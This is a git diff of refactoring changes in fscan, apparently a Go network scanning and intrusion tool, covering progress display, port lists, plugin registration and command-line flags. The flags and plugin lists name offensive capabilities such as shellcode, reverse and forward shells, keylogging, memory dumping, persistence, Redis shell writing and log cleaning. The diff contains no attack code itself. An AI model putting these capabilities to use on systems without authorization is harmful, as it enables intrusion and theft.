mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
Compare commits
No commits in common. "da981cdbce2cfa04537f9a1d06b03db40c87ead1" and "c0374a6250cfc1017178a2e7c80a6112cb7fd1b3" have entirely different histories.
da981cdbce
...
c0374a6250
5
.gitignore
vendored
5
.gitignore
vendored
@ -70,8 +70,3 @@ Todo列表.md
|
|||||||
|
|
||||||
# Claude documentation / Claude文档
|
# Claude documentation / Claude文档
|
||||||
.claude_docs/
|
.claude_docs/
|
||||||
|
|
||||||
# Cleaner plugin artifacts / 清理插件产物
|
|
||||||
cleanup.bat
|
|
||||||
cleanup.sh
|
|
||||||
cleanup_script_*
|
|
||||||
|
@ -99,7 +99,28 @@ func (m *ConcurrencyMonitor) FinishConnection(pluginName, target string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已移除未使用的 GetConnectionStats 方法
|
// GetConnectionStats 获取所有插件连接统计
|
||||||
|
func (m *ConcurrencyMonitor) GetConnectionStats() map[string]*PluginConnectionInfo {
|
||||||
|
stats := make(map[string]*PluginConnectionInfo)
|
||||||
|
|
||||||
|
m.pluginConnections.Range(func(key, value interface{}) bool {
|
||||||
|
keyStr := key.(string)
|
||||||
|
info := value.(*PluginConnectionInfo)
|
||||||
|
|
||||||
|
// 只返回当前活跃的连接
|
||||||
|
if atomic.LoadInt64(&info.ActiveConnections) > 0 {
|
||||||
|
stats[keyStr] = &PluginConnectionInfo{
|
||||||
|
PluginName: info.PluginName,
|
||||||
|
Target: info.Target,
|
||||||
|
ActiveConnections: atomic.LoadInt64(&info.ActiveConnections),
|
||||||
|
TotalConnections: atomic.LoadInt64(&info.TotalConnections),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
|
||||||
|
return stats
|
||||||
|
}
|
||||||
|
|
||||||
// GetTotalActiveConnections 获取总活跃连接数
|
// GetTotalActiveConnections 获取总活跃连接数
|
||||||
func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
|
func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
|
||||||
@ -114,7 +135,16 @@ func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
|
|||||||
return total
|
return total
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已移除未使用的 Reset 方法
|
// Reset 重置监控器
|
||||||
|
func (m *ConcurrencyMonitor) Reset() {
|
||||||
|
atomic.StoreInt64(&m.activePluginTasks, 0)
|
||||||
|
atomic.StoreInt64(&m.totalPluginTasks, 0)
|
||||||
|
|
||||||
|
m.pluginConnections.Range(func(key, value interface{}) bool {
|
||||||
|
m.pluginConnections.Delete(key)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// GetConcurrencyStatus 获取并发状态字符串
|
// GetConcurrencyStatus 获取并发状态字符串
|
||||||
func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
|
func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
|
||||||
@ -134,4 +164,28 @@ func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
|
|||||||
i18n.GetText("concurrency_connection"), totalConnections)
|
i18n.GetText("concurrency_connection"), totalConnections)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已移除未使用的 GetDetailedStatus 方法
|
// GetDetailedStatus 获取详细的并发状态
|
||||||
|
func (m *ConcurrencyMonitor) GetDetailedStatus() string {
|
||||||
|
activePlugins, _ := m.GetPluginTaskStats()
|
||||||
|
connectionStats := m.GetConnectionStats()
|
||||||
|
|
||||||
|
if activePlugins == 0 && len(connectionStats) == 0 {
|
||||||
|
return i18n.GetText("concurrency_no_active_tasks")
|
||||||
|
}
|
||||||
|
|
||||||
|
status := fmt.Sprintf("%s: %d", i18n.GetText("concurrency_plugin_tasks"), activePlugins)
|
||||||
|
|
||||||
|
if len(connectionStats) > 0 {
|
||||||
|
status += " | " + i18n.GetText("concurrency_connection_details") + ": "
|
||||||
|
first := true
|
||||||
|
for _, info := range connectionStats {
|
||||||
|
if !first {
|
||||||
|
status += ", "
|
||||||
|
}
|
||||||
|
status += fmt.Sprintf("%s@%s:%d", info.PluginName, info.Target, info.ActiveConnections)
|
||||||
|
first = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return status
|
||||||
|
}
|
@ -20,9 +20,6 @@ var (
|
|||||||
HostsFile string
|
HostsFile string
|
||||||
PortsFile string
|
PortsFile string
|
||||||
|
|
||||||
// 本地插件列表(由外部初始化)
|
|
||||||
LocalPluginsList []string
|
|
||||||
|
|
||||||
ModuleThreadNum int
|
ModuleThreadNum int
|
||||||
GlobalTimeout int64
|
GlobalTimeout int64
|
||||||
EnableFingerprint bool
|
EnableFingerprint bool
|
||||||
@ -51,11 +48,13 @@ var (
|
|||||||
|
|
||||||
RedisFile string
|
RedisFile string
|
||||||
RedisShell string
|
RedisShell string
|
||||||
|
DisableRedis bool
|
||||||
RedisWritePath string
|
RedisWritePath string
|
||||||
RedisWriteContent string
|
RedisWriteContent string
|
||||||
RedisWriteFile string
|
RedisWriteFile string
|
||||||
|
|
||||||
DisableBrute bool
|
DisableBrute bool
|
||||||
|
DisableExploit bool
|
||||||
MaxRetries int
|
MaxRetries int
|
||||||
|
|
||||||
DisableSave bool
|
DisableSave bool
|
||||||
@ -173,8 +172,9 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
||||||
// LiveTop 参数已移除,改为智能控制
|
// LiveTop 参数已移除,改为智能控制
|
||||||
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||||
flag.BoolVar(&EnableFingerprint, "fp", false, i18n.GetText("flag_enable_fingerprint"))
|
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
|
||||||
flag.StringVar(&LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
|
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
|
||||||
|
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
|
||||||
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||||
|
|
||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
@ -216,6 +216,7 @@ func Flag(Info *HostInfo) {
|
|||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
|
flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
|
||||||
flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
|
flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
|
||||||
|
flag.BoolVar(&DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
|
||||||
flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
|
flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
|
||||||
flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
|
flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
|
||||||
flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
|
flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
|
||||||
@ -224,6 +225,7 @@ func Flag(Info *HostInfo) {
|
|||||||
// 暴力破解控制参数
|
// 暴力破解控制参数
|
||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
|
flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
|
||||||
|
flag.BoolVar(&DisableExploit, "ne", false, i18n.GetText("flag_disable_exploit"))
|
||||||
flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
|
flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
|
||||||
|
|
||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
@ -242,7 +244,7 @@ func Flag(Info *HostInfo) {
|
|||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||||
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||||
flag.IntVar(&Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
|
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
|
||||||
flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
||||||
flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
||||||
flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
||||||
@ -393,14 +395,18 @@ func checkParameterConflicts() {
|
|||||||
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
|
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查本地插件参数
|
// 检查本地模式和本地插件参数
|
||||||
if LocalPlugin != "" {
|
if LocalMode {
|
||||||
// 自动启用本地模式
|
if LocalPlugin == "" {
|
||||||
LocalMode = true
|
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||||
|
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
// 验证本地插件名称
|
// 验证本地插件名称
|
||||||
|
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader", "cleaner"} // 已重构的插件
|
||||||
isValid := false
|
isValid := false
|
||||||
for _, valid := range LocalPluginsList {
|
for _, valid := range validPlugins {
|
||||||
if LocalPlugin == valid {
|
if LocalPlugin == valid {
|
||||||
isValid = true
|
isValid = true
|
||||||
break
|
break
|
||||||
@ -409,10 +415,14 @@ func checkParameterConflicts() {
|
|||||||
|
|
||||||
if !isValid {
|
if !isValid {
|
||||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||||
if len(LocalPluginsList) > 0 {
|
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
|
||||||
fmt.Printf("可用的本地插件: %s\n", strings.Join(LocalPluginsList, ", "))
|
|
||||||
}
|
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 如果指定了本地插件但未启用本地模式
|
||||||
|
if !LocalMode && LocalPlugin != "" {
|
||||||
|
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -263,19 +263,15 @@ func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error {
|
|||||||
// 更新目标相关全局变量
|
// 更新目标相关全局变量
|
||||||
if config.Targets != nil {
|
if config.Targets != nil {
|
||||||
if len(config.Targets.Hosts) > 0 {
|
if len(config.Targets.Hosts) > 0 {
|
||||||
// 如果info.Host已经有值,说明解析结果来自info.Host,不需要重复设置
|
|
||||||
// 只有当info.Host为空时才设置(如从文件读取的情况)
|
|
||||||
if info.Host == "" {
|
if info.Host == "" {
|
||||||
info.Host = joinStrings(config.Targets.Hosts, ",")
|
info.Host = joinStrings(config.Targets.Hosts, ",")
|
||||||
|
} else {
|
||||||
|
info.Host += "," + joinStrings(config.Targets.Hosts, ",")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(config.Targets.URLs) > 0 {
|
if len(config.Targets.URLs) > 0 {
|
||||||
URLs = config.Targets.URLs
|
URLs = config.Targets.URLs
|
||||||
// 如果info.Url为空且只有一个URL,将其设置到info.Url
|
|
||||||
if info.Url == "" && len(config.Targets.URLs) == 1 {
|
|
||||||
info.Url = config.Targets.URLs[0]
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(config.Targets.Ports) > 0 {
|
if len(config.Targets.Ports) > 0 {
|
||||||
|
@ -8,12 +8,8 @@ Ports.go - 端口常量(向后兼容层)
|
|||||||
此文件保持向后兼容,实际常量定义已迁移到Core/Constants.go
|
此文件保持向后兼容,实际常量定义已迁移到Core/Constants.go
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// 向后兼容的端口常量 - 引用base包中的定义
|
// 向后兼容的端口常量 - 引用Core包中的定义
|
||||||
var (
|
var (
|
||||||
WebPorts = base.WebPorts // Web服务端口组
|
WebPorts = base.WebPorts // Web服务端口组
|
||||||
MainPorts = base.MainPorts // 主要服务端口组
|
MainPorts = base.MainPorts // 主要服务端口组
|
||||||
DbPorts = base.DbPorts // 数据库端口组
|
|
||||||
ServicePorts = base.ServicePorts // 服务端口组
|
|
||||||
CommonPorts = base.CommonPorts // 常用端口组
|
|
||||||
AllPorts = base.AllPorts // 全部端口
|
|
||||||
)
|
)
|
||||||
|
@ -3,7 +3,6 @@ package common
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"runtime"
|
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@ -32,27 +31,11 @@ type ProgressManager struct {
|
|||||||
|
|
||||||
// 输出缓冲相关
|
// 输出缓冲相关
|
||||||
outputMutex sync.Mutex
|
outputMutex sync.Mutex
|
||||||
|
|
||||||
// 活跃指示器相关
|
|
||||||
spinnerIndex int
|
|
||||||
lastActivity time.Time
|
|
||||||
activityTicker *time.Ticker
|
|
||||||
stopActivityChan chan struct{}
|
|
||||||
|
|
||||||
// 内存监控相关
|
|
||||||
lastMemUpdate time.Time
|
|
||||||
memStats runtime.MemStats
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
globalProgressManager *ProgressManager
|
globalProgressManager *ProgressManager
|
||||||
progressMutex sync.Mutex
|
progressMutex sync.Mutex
|
||||||
|
|
||||||
// 活跃指示器字符序列(旋转动画)
|
|
||||||
spinnerChars = []string{"|", "/", "-", "\\"}
|
|
||||||
|
|
||||||
// 活跃指示器更新间隔
|
|
||||||
activityUpdateInterval = 500 * time.Millisecond
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// GetProgressManager 获取全局进度条管理器
|
// GetProgressManager 获取全局进度条管理器
|
||||||
@ -86,16 +69,10 @@ func (pm *ProgressManager) InitProgress(total int64, description string) {
|
|||||||
pm.startTime = time.Now()
|
pm.startTime = time.Now()
|
||||||
pm.isActive = true
|
pm.isActive = true
|
||||||
pm.enabled = true
|
pm.enabled = true
|
||||||
pm.lastActivity = time.Now()
|
|
||||||
pm.spinnerIndex = 0
|
|
||||||
pm.lastMemUpdate = time.Now().Add(-2 * time.Second) // 强制首次更新内存
|
|
||||||
|
|
||||||
// 为进度条保留空间
|
// 为进度条保留空间
|
||||||
pm.setupProgressSpace()
|
pm.setupProgressSpace()
|
||||||
|
|
||||||
// 启动活跃指示器
|
|
||||||
pm.startActivityIndicator()
|
|
||||||
|
|
||||||
// 初始显示进度条
|
// 初始显示进度条
|
||||||
pm.renderProgress()
|
pm.renderProgress()
|
||||||
}
|
}
|
||||||
@ -114,9 +91,6 @@ func (pm *ProgressManager) UpdateProgress(increment int64) {
|
|||||||
pm.current = pm.total
|
pm.current = pm.total
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新活跃时间
|
|
||||||
pm.lastActivity = time.Now()
|
|
||||||
|
|
||||||
pm.renderProgress()
|
pm.renderProgress()
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -136,9 +110,6 @@ func (pm *ProgressManager) FinishProgress() {
|
|||||||
pm.current = pm.total
|
pm.current = pm.total
|
||||||
pm.renderProgress()
|
pm.renderProgress()
|
||||||
|
|
||||||
// 停止活跃指示器
|
|
||||||
pm.stopActivityIndicator()
|
|
||||||
|
|
||||||
// 显示完成信息
|
// 显示完成信息
|
||||||
pm.showCompletionInfo()
|
pm.showCompletionInfo()
|
||||||
|
|
||||||
@ -169,9 +140,7 @@ func (pm *ProgressManager) renderProgress() {
|
|||||||
// generateProgressBar 生成进度条字符串
|
// generateProgressBar 生成进度条字符串
|
||||||
func (pm *ProgressManager) generateProgressBar() string {
|
func (pm *ProgressManager) generateProgressBar() string {
|
||||||
if pm.total == 0 {
|
if pm.total == 0 {
|
||||||
spinner := pm.getActivityIndicator()
|
return fmt.Sprintf("%s: 等待中...", pm.description)
|
||||||
memInfo := pm.getMemoryInfo()
|
|
||||||
return fmt.Sprintf("%s %s 等待中... %s", pm.description, spinner, memInfo)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
percentage := float64(pm.current) / float64(pm.total) * 100
|
percentage := float64(pm.current) / float64(pm.total) * 100
|
||||||
@ -228,22 +197,16 @@ func (pm *ProgressManager) generateProgressBar() string {
|
|||||||
bar += "|"
|
bar += "|"
|
||||||
}
|
}
|
||||||
|
|
||||||
// 生成活跃指示器
|
|
||||||
spinner := pm.getActivityIndicator()
|
|
||||||
|
|
||||||
// 构建基础进度条
|
// 构建基础进度条
|
||||||
baseProgress := fmt.Sprintf("%s %s %6.1f%% %s (%d/%d)%s%s",
|
baseProgress := fmt.Sprintf("%s %6.1f%% %s (%d/%d)%s%s",
|
||||||
pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta)
|
pm.description, percentage, bar, pm.current, pm.total, speedStr, eta)
|
||||||
|
|
||||||
// 添加内存信息
|
|
||||||
memInfo := pm.getMemoryInfo()
|
|
||||||
|
|
||||||
// 添加并发状态
|
// 添加并发状态
|
||||||
if concurrencyStatus != "" {
|
if concurrencyStatus != "" {
|
||||||
return fmt.Sprintf("%s [%s] %s", baseProgress, concurrencyStatus, memInfo)
|
return fmt.Sprintf("%s [%s]", baseProgress, concurrencyStatus)
|
||||||
}
|
}
|
||||||
|
|
||||||
return fmt.Sprintf("%s %s", baseProgress, memInfo)
|
return baseProgress
|
||||||
}
|
}
|
||||||
|
|
||||||
// showCompletionInfo 显示完成信息
|
// showCompletionInfo 显示完成信息
|
||||||
@ -364,94 +327,3 @@ func (pm *ProgressManager) renderProgressUnsafe() {
|
|||||||
// 刷新输出
|
// 刷新输出
|
||||||
os.Stdout.Sync()
|
os.Stdout.Sync()
|
||||||
}
|
}
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 活跃指示器相关方法
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// startActivityIndicator 启动活跃指示器
|
|
||||||
func (pm *ProgressManager) startActivityIndicator() {
|
|
||||||
// 防止重复启动
|
|
||||||
if pm.activityTicker != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
pm.activityTicker = time.NewTicker(activityUpdateInterval)
|
|
||||||
pm.stopActivityChan = make(chan struct{})
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-pm.activityTicker.C:
|
|
||||||
// 只有在活跃状态下才更新指示器
|
|
||||||
if pm.isActive && pm.enabled {
|
|
||||||
pm.mu.Lock()
|
|
||||||
pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars)
|
|
||||||
pm.mu.Unlock()
|
|
||||||
|
|
||||||
// 只有在长时间没有进度更新时才重新渲染
|
|
||||||
// 这样可以避免频繁更新时的性能问题
|
|
||||||
if time.Since(pm.lastActivity) > 2*time.Second {
|
|
||||||
pm.renderProgress()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
case <-pm.stopActivityChan:
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
|
|
||||||
// stopActivityIndicator 停止活跃指示器
|
|
||||||
func (pm *ProgressManager) stopActivityIndicator() {
|
|
||||||
if pm.activityTicker != nil {
|
|
||||||
pm.activityTicker.Stop()
|
|
||||||
pm.activityTicker = nil
|
|
||||||
}
|
|
||||||
|
|
||||||
if pm.stopActivityChan != nil {
|
|
||||||
close(pm.stopActivityChan)
|
|
||||||
pm.stopActivityChan = nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// getActivityIndicator 获取当前活跃指示器字符
|
|
||||||
func (pm *ProgressManager) getActivityIndicator() string {
|
|
||||||
// 如果最近有活动(2秒内),显示静态指示器
|
|
||||||
if time.Since(pm.lastActivity) <= 2*time.Second {
|
|
||||||
return "●" // 实心圆表示活跃
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果长时间没有活动,显示旋转指示器表明程序仍在运行
|
|
||||||
return spinnerChars[pm.spinnerIndex]
|
|
||||||
}
|
|
||||||
|
|
||||||
// getMemoryInfo 获取内存使用信息
|
|
||||||
func (pm *ProgressManager) getMemoryInfo() string {
|
|
||||||
// 限制内存统计更新频率以提高性能(每秒最多一次)
|
|
||||||
now := time.Now()
|
|
||||||
if now.Sub(pm.lastMemUpdate) >= time.Second {
|
|
||||||
runtime.ReadMemStats(&pm.memStats)
|
|
||||||
pm.lastMemUpdate = now
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取当前使用的内存(以MB为单位)
|
|
||||||
memUsedMB := float64(pm.memStats.Alloc) / 1024 / 1024
|
|
||||||
|
|
||||||
// 根据内存使用量选择颜色
|
|
||||||
var colorCode string
|
|
||||||
if NoColor {
|
|
||||||
return fmt.Sprintf("内存:%.1fMB", memUsedMB)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 根据内存使用量设置颜色
|
|
||||||
if memUsedMB < 50 {
|
|
||||||
colorCode = "\033[32m" // 绿色 - 内存使用较低
|
|
||||||
} else if memUsedMB < 100 {
|
|
||||||
colorCode = "\033[33m" // 黄色 - 内存使用中等
|
|
||||||
} else {
|
|
||||||
colorCode = "\033[31m" // 红色 - 内存使用较高
|
|
||||||
}
|
|
||||||
|
|
||||||
return fmt.Sprintf("%s内存:%.1fMB\033[0m", colorCode, memUsedMB)
|
|
||||||
}
|
|
@ -13,11 +13,7 @@ Constants.go - 核心常量定义
|
|||||||
// 预定义端口组常量
|
// 预定义端口组常量
|
||||||
var (
|
var (
|
||||||
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||||
MainPorts = "21,22,23,25,80,81,110,135,139,143,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
|
MainPorts = "21,22,23,25,80,81,110,135,139,143,161,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
|
||||||
DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
|
|
||||||
ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
|
||||||
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
|
|
||||||
AllPorts = "1-65535"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
package base
|
package base
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"fmt"
|
||||||
"sync"
|
"sync"
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -125,7 +126,41 @@ func (p *ScanPlugin) GetInfo() map[string]interface{} {
|
|||||||
// 插件管理器方法
|
// 插件管理器方法
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
// 已移除未使用的 RegisterPlugin 方法
|
// RegisterPlugin 注册插件
|
||||||
|
func (pm *PluginManager) RegisterPlugin(plugin *ScanPlugin) error {
|
||||||
|
if plugin == nil {
|
||||||
|
return fmt.Errorf("plugin cannot be nil")
|
||||||
|
}
|
||||||
|
if plugin.Name == "" {
|
||||||
|
return fmt.Errorf("plugin name cannot be empty")
|
||||||
|
}
|
||||||
|
if plugin.ScanFunc == nil {
|
||||||
|
return fmt.Errorf("plugin scan function cannot be nil")
|
||||||
|
}
|
||||||
|
|
||||||
|
pm.mu.Lock()
|
||||||
|
defer pm.mu.Unlock()
|
||||||
|
|
||||||
|
// 检查插件是否已存在
|
||||||
|
if _, exists := pm.plugins[plugin.Name]; exists {
|
||||||
|
return fmt.Errorf("plugin %s already registered", plugin.Name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 注册插件
|
||||||
|
pm.plugins[plugin.Name] = plugin
|
||||||
|
|
||||||
|
// 按类型索引
|
||||||
|
for _, pluginType := range plugin.Types {
|
||||||
|
pm.types[pluginType] = append(pm.types[pluginType], plugin)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按端口索引
|
||||||
|
for _, port := range plugin.Ports {
|
||||||
|
pm.ports[port] = append(pm.ports[port], plugin)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// ========================================================================================
|
// ========================================================================================
|
||||||
// 未使用的插件管理器方法已删除(死代码清理)
|
// 未使用的插件管理器方法已删除(死代码清理)
|
||||||
@ -137,11 +172,89 @@ func (p *ScanPlugin) GetInfo() map[string]interface{} {
|
|||||||
